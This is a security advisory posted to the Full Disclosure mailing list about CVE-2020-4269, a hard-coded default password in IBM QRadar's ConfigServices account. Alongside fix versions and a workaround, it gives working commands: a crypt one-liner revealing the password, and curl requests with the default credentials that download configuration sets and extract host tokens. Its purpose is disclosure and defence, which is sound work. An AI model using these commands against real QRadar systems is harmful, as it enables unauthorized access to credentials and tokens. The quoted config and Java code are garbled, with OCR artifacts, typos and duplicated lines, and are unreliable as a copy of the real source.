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List Archive Search Unauthorized access to QRadar configuration sets via default password From: "Securify B.V. via Fulldisclosure" <fulldisclosure () seclists org> Date: Mon, 20 Apr 2020 12:24:58 +0200 Unauthorized access to QRadar configuration sets via default password Yorick Koster, September 2019 QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar. CVE-2020-4269 [2] 6189711 [3] - IBM QRadar SIEM contains hard-coded credentials (CVE-2020-4269) This issue was successfully verified on QRadar Community Edition [4] version 7.3.1.6 (7.3.1 Build 20180723171558). $\ensuremath{\mathsf{IBM}}$ has released the following versions of QRader in which this issue has been resolved: - QRadar / QRM / QVM / QNI 7.4.0 GA [5] (SFS) - QRadar / QRM / QVM / QRIF / QNI 7.3.3 Patch 3 [6] (SFS) - QRadar / QRM / QVM / QRIF / QNI 7.3.2 Patch 7 [7] (SFS) - QRadar Incident Forensics 7.4.0 [8] (ISO) - QRadar Incident Forensics 7.4.0 [9] (SFS) As a workaround it is possible to remove or disable the configservices account in the file $\mbox{\tt /opt/qradar/conf/users.conf.}$ QRadar [10] is IBM's enterprise SIEM [11] solution. A free version of QRadar is available that is known as QRadar Community Edition [4]. This version is limited to 50 events per second and 5,000 network flows a minute, supports apps, but is based on a smaller footprint for non-enterprise use. So-called configuration sets can be downloaded via the web interface. These sets are normally only accessible for the ConfigServices user. It was found that QRadar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar. The Apache configuration for the QRadar web interface contains a configuration alias that maps to the 'Astore/configservices/configurationsets folder. This folder is protected with the mod authn file [12] Apache Module. The only user that is allowed through is the configservices user. /etc/httpd/conf.d/configservices httpd.conf:
Alias /configuration /store/configservices/configurationsets
<Directory /store/configservices/configurationsets
AuthType Basic
AuthUserFile /opt/gradar/conf/users.conf
AuthName "Identification"
Options Indexes Includes FollowSymLinks MultiViews ExecCGI
AllowOverride All <Limit GET POST> require user configservices </Limit> </Directory> The password for this user is set in the file /opt/qradar/conf/users.conf. The password is protected with the crypt algorithm, the crypted password is the same for all QRadar installations. /opt/qradar/conf/users.conf: admin:null:ALL:root@localhost:Admin: configservices:/wEPae8TzCqmM:ALL::ConfigServices: Cracking the crypted password quickly reveals that the corresponding password is $\ensuremath{\mathsf{qradar}}$: \$ python -c 'import crypt; print(crypt.crypt("qradar", "/w"))'
/wEPae8TzCqmM With the found password it is now possible to download the configuration set from the web server: \$ curl --insecure --user configservices:qradar https://<ip>/configuration/globalset_list.xml It should be noted that the default password of the configservices user only works for the configuration alias as configured in Apache. Recent versions of QRadar still use the ConfigServices user in other parts of the web interface. These parts either use a random password (stored in PostgreSQL) or a so-called host token (via the SEC header or cookie). However, using the default password it is possible to retrieve the value of this host token and thus gain access to other parts of QRadar.

curl --insecure --user configservices:qradar -o
/tmp/zipfile_GEN.full.zip

```
https://<ip>/configuration/zipfile_GEN.full.zip
unzip -p /tmp/zipfile_GEN.full.zip /host_tokens.masterlist | grep
'CONSOLE_MOSTCONTEXTE'
 Limitations
The users.conf configuration file is updated when changes are made to the user and or permission configuration of QRadar. The new users.conf is first written to staging and made effective when the changes to staging have been deployed. When this happens the password digest of the configservices user is overwritten with null effectively disabling the account. Consequently, on larger setups it is likely that changes have been made to the user/permission configuration and that the default password will no longer work.
 com.qllabs.core.shared.permissions.UserManager:
public class UserManager extends SingletonSupport implements
IMessageListener {
                 public void updateConfigurationFile() {
    String configRoot = NVAReader.getProperty("CONFIGSERVICES ROOT");
                                  try {
                                                   File target = new File(configRoot + STAGED_CONFIG_FILENAME);
StringBuffer sb = new StringBuffer();
List users = this.getStagedUsers();
Iterator var5 = users.iterator();
while(var5.hasNext()) {
    User u = (User)var5.next();
    String networkNames = PermissionsManager.getNetworkNames(u);
    String userRoleName = PermissionsManager.getUserRoleName(u);
    String locale = u.getLocale() == null ? " " : u.getLocale();
    String tmzone = u.getTimezone() == null ? " " : u.getTimezone();
    String tmzone = u.getTimezone() == null ? " " : u.getTimezone();
    String tmzone = u.getTimezone() == null ? " " : u.getTimezone();
    sb.append(u.getUserName() + ":null:" + networkNames + ":" + u.getEmail() + ":" +
    userRoleName + ":" + tocale + ":" + tmzone + ":\n");
}
                                  FileIOUtils.safeWriteBuffer(target, sb);
} catch (Exception varil) {
    this.log.error((Object)("Can't save deployed " + TABLENAME + " to configuration file"),
  (Throwable) varl1);
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